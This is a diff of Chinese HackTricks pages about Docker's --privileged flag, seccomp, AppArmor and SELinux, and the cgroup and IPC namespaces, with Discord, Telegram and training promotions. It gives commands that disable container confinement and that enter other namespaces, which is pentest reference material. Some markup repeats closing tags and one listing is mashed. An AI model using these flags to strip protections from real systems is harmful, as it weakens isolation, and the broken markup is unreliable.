### Seccomp
|
||||
|
||||
#### Seccomp
|
||||
|
||||
**Seccomp** 对于限制容器可以调用的**syscalls**非常有用。在运行docker容器时,默认情况下启用了默认的seccomp配置文件,但在特权模式下会被禁用。在这里了解更多关于Seccomp的信息:
|
||||
**Seccomp** 对于 **限制** 容器可以调用的 **syscalls** 非常有用。运行 docker 容器时,默认启用默认的 seccomp 配置文件,但在特权模式下它被禁用。了解有关 Seccomp 的更多信息:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
|
@ -126,7 +149,7 @@ Seccomp_filters: 1
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="特权容器内部" %}
|
||||
{% tab title="内部特权容器" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
|
@ -135,46 +158,42 @@ Seccomp_filters: 0
|
|||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
|
||||
此外,请注意,当Docker(或其他CRIs)在Kubernetes集群中使用时,默认情况下会禁用seccomp过滤器。
|
||||
另外,请注意,当在 **Kubernetes** 集群中使用 Docker(或其他 CRI)时,**seccomp 过滤器默认是禁用的**。
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor**是一个内核增强功能,用于将容器限制在一组有限的资源上,并使用每个程序的配置文件。当您使用`--privileged`标志运行时,此保护将被禁用。
|
||||
**AppArmor** 是一种内核增强,用于将 **容器** 限制在 **有限** 的 **资源** 集合中,并具有 **每个程序的配置文件**。当您使用 `--privileged` 标志运行时,此保护将被禁用。
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
```
|
||||
|
||||
### SELinux
|
||||
|
||||
使用 `--privileged` 标志运行容器会禁用 **SELinux 标签**,导致容器继承容器引擎的标签,通常为 `unconfined`,从而获得类似容器引擎的完全访问权限。在非 root 模式下,使用 `container_runtime_t`,而在 root 模式下,则应用 `spc_t`。
|
||||
使用 `--privileged` 标志运行容器会禁用 **SELinux 标签**,导致其继承容器引擎的标签,通常为 `unconfined`,赋予与容器引擎相似的完全访问权限。在无根模式下,它使用 `container_runtime_t`,而在根模式下,应用 `spc_t`。
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
|
||||
## 不受影响的内容
|
||||
## 什么不受影响
|
||||
|
||||
### 命名空间
|
||||
|
||||
命名空间**不受**`--privileged`标志的影响。尽管它们没有启用安全约束,**例如,它们不会看到系统上的所有进程或主机网络**。用户可以通过使用\*\*`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`\*\*容器引擎标志来禁用单个命名空间。
|
||||
命名空间**不受**`--privileged`标志的影响。尽管它们没有启用安全约束,但它们**并不能看到系统或主机网络上的所有进程,例如**。用户可以通过使用**`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`**容器引擎标志来禁用单个命名空间。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="在默认特权容器内" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ps -ef
|
||||
|
@ -182,11 +201,40 @@ PID USER TIME COMMAND
|
|||
1 root 0:00 sh
|
||||
18 root 0:00 ps -ef
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
\`\`\`bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND 1 root 0:03 /sbin/init 2 root 0:00 \[kthreadd] 3 root 0:00 \[rcu\_gp]ount | grep /proc.\*tmpfs \[...] \`\`\` ### 用户命名空间
|
||||
{% tab title="内部 --pid=host 容器" %}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:03 /sbin/init
|
||||
2 root 0:00 [kthreadd]
|
||||
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**默认情况下,容器引擎不使用用户命名空间,除非是用于无根容器**,后者需要它们来进行文件系统挂载和使用多个UID。用户命名空间对于无根容器至关重要,无法禁用,并通过限制特权显著增强安全性。
|
||||
### 用户命名空间
|
||||
|
||||
## 参考
|
||||
**默认情况下,容器引擎不使用用户命名空间,除了无根容器**,无根容器需要它们进行文件系统挂载和使用多个 UID。用户命名空间是无根容器的核心,无法禁用,并通过限制特权显著增强安全性。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,77 +1,93 @@
|
|||
# 命名空间
|
||||
# Namespaces
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### **PID命名空间**
|
||||
### **PID namespace**
|
||||
|
||||
{% content-ref url="pid-namespace.md" %}
|
||||
[pid-namespace.md](pid-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **挂载命名空间**
|
||||
### **Mount namespace**
|
||||
|
||||
{% content-ref url="mount-namespace.md" %}
|
||||
[mount-namespace.md](mount-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **网络命名空间**
|
||||
### **Network namespace**
|
||||
|
||||
{% content-ref url="network-namespace.md" %}
|
||||
[network-namespace.md](network-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **IPC命名空间**
|
||||
### **IPC Namespace**
|
||||
|
||||
{% content-ref url="ipc-namespace.md" %}
|
||||
[ipc-namespace.md](ipc-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **UTS命名空间**
|
||||
### **UTS namespace**
|
||||
|
||||
{% content-ref url="uts-namespace.md" %}
|
||||
[uts-namespace.md](uts-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 时间命名空间
|
||||
### Time Namespace
|
||||
|
||||
{% content-ref url="time-namespace.md" %}
|
||||
[time-namespace.md](time-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 用户命名空间
|
||||
### User namespace
|
||||
|
||||
{% content-ref url="user-namespace.md" %}
|
||||
[user-namespace.md](user-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CGroup命名空间
|
||||
|
||||
{% content-ref url="cgroup-namespace.md" %}
|
||||
[cgroup-namespace.md](cgroup-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
# CGroup Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
CGroup命名空间是Linux内核的一个功能,为在命名空间内运行的进程提供**对cgroup层次结构的隔离**。Cgroups,即**控制组**,是一个内核功能,允许将进程组织成分层组,以管理和强制执行对系统资源(如CPU、内存和I/O)的**限制**。
|
||||
Cgroup 命名空间是 Linux 内核的一项功能,提供 **在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups,即 **控制组**,是一个内核特性,允许将进程组织成层次组,以管理和强制 **系统资源的限制**,如 CPU、内存和 I/O。
|
||||
|
||||
虽然CGroup命名空间不像我们之前讨论的其他命名空间类型(PID、挂载、网络等)那样是一个单独的命名空间类型,但它与命名空间隔离的概念相关。**CGroup命名空间虚拟化了cgroup层次结构的视图**,因此在CGroup命名空间中运行的进程与在主机或其他命名空间中运行的进程对层次结构的视图不同。
|
||||
虽然 cgroup 命名空间不是我们之前讨论的其他命名空间类型(PID、挂载、网络等)中的一个独立类型,但它们与命名空间隔离的概念相关。**Cgroup 命名空间虚拟化了 cgroup 层次结构的视图**,因此在 cgroup 命名空间内运行的进程与在主机或其他命名空间中运行的进程相比,具有不同的层次结构视图。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新的CGroup命名空间时,**它从基于创建进程的cgroup的cgroup层次结构视图开始**。这意味着在新的CGroup命名空间中运行的进程只会看到整个cgroup层次结构的子集,限于创建进程cgroup根目录下的cgroup子树。
|
||||
2. 在CGroup命名空间中的进程将**将自己的cgroup视为层次结构的根**。这意味着从命名空间内部进程的角度来看,他们自己的cgroup会显示为根目录,他们无法看到或访问自己子树之外的cgroup。
|
||||
3. CGroup命名空间不直接提供资源隔离;**它们仅提供cgroup层次结构视图的隔离**。**资源控制和隔离仍由cgroup**子系统(例如cpu、内存等)本身执行。
|
||||
1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将仅看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。
|
||||
2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着,从命名空间内进程的角度来看,它们自己的 cgroup 显示为根,并且它们无法看到或访问自己子树外的 cgroup。
|
||||
3. Cgroup 命名空间并不直接提供资源的隔离;**它们仅提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统(例如,cpu、内存等)本身强制执行。
|
||||
|
||||
有关CGroups的更多信息,请查看:
|
||||
有关 CGroups 的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../cgroups.md" %}
|
||||
[cgroups.md](../cgroups.md)
|
||||
|
@ -40,27 +41,27 @@ CGroup命名空间是Linux内核的一个功能,为在命名空间内运行的
|
|||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
通过挂载一个新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,可以确保新的挂载命名空间对该命名空间特定的进程信息具有准确和隔离的视图。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行 `unshare` 时没有使用 `-f` 选项时,会遇到错误,这是由于 Linux 处理新 PID(进程 ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,发起新 PID 命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 在新命名空间中,`/bin/bash` 的第一个子进程变为 PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有接管孤立进程的特殊角色。Linux 内核随后会在该命名空间中禁用 PID 分配。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清除。这导致在创建新进程时,`alloc_pid` 函数无法分配新的 PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在 `unshare` 中使用 `-f` 选项来解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉出一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身成为新命名空间中的 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保 `unshare` 使用 `-f` 标志运行,可以正确维护新的 PID 命名空间,使 `/bin/bash` 及其子进程能够在不遇到内存分配错误的情况下运行。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -68,12 +69,12 @@ sudo unshare -C [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
```
|
||||
### 查找所有CGroup命名空间
|
||||
### 查找所有 CGroup 命名空间
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -81,27 +82,28 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
### 进入 CGroup 命名空间
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### 进入 CGroup 命名空间
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,**只有root用户才能进入另一个进程命名空间**。而且,**没有指向其他命名空间的描述符**(比如`/proc/self/ns/cgroup`),**无法进入**其他命名空间。
|
||||
您只能**以root身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**(如`/proc/self/ns/cgroup`)的情况下**进入**其他命名空间。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,60 @@
|
|||
# IPC Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
IPC(进程间通信)命名空间是Linux内核的一个功能,提供对System V IPC对象(如消息队列、共享内存段和信号量)的**隔离**。这种隔离确保**不同IPC命名空间中的进程不能直接访问或修改彼此的IPC对象**,为进程组之间提供了额外的安全性和隐私层。
|
||||
IPC(进程间通信)命名空间是 Linux 内核的一项功能,提供 **隔离** System V IPC 对象,如消息队列、共享内存段和信号量。此隔离确保 **不同 IPC 命名空间中的进程无法直接访问或修改彼此的 IPC 对象**,为进程组之间提供额外的安全性和隐私保护。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新IPC命名空间时,它将以一个**完全隔离的System V IPC对象集合**开始。这意味着运行在新IPC命名空间中的进程默认情况下无法访问或干扰其他命名空间或主机系统中的IPC对象。
|
||||
2. 在命名空间内创建的IPC对象仅对该命名空间内的进程**可见和可访问**。每个IPC对象在其命名空间内由唯一键标识。尽管在不同命名空间中键可能相同,但对象本身是隔离的,无法跨命名空间访问。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWIPC`标志的`unshare()`或`clone()`系统调用创建新命名空间。当进程移动到新命名空间或创建新命名空间时,它将开始使用与该命名空间关联的IPC对象。
|
||||
1. 当创建一个新的 IPC 命名空间时,它会以 **完全隔离的 System V IPC 对象集** 开始。这意味着在新的 IPC 命名空间中运行的进程默认无法访问或干扰其他命名空间或主机系统中的 IPC 对象。
|
||||
2. 在命名空间内创建的 IPC 对象仅对 **该命名空间内的进程可见和可访问**。每个 IPC 对象在其命名空间内由唯一的键标识。尽管在不同命名空间中键可能相同,但对象本身是隔离的,无法跨命名空间访问。
|
||||
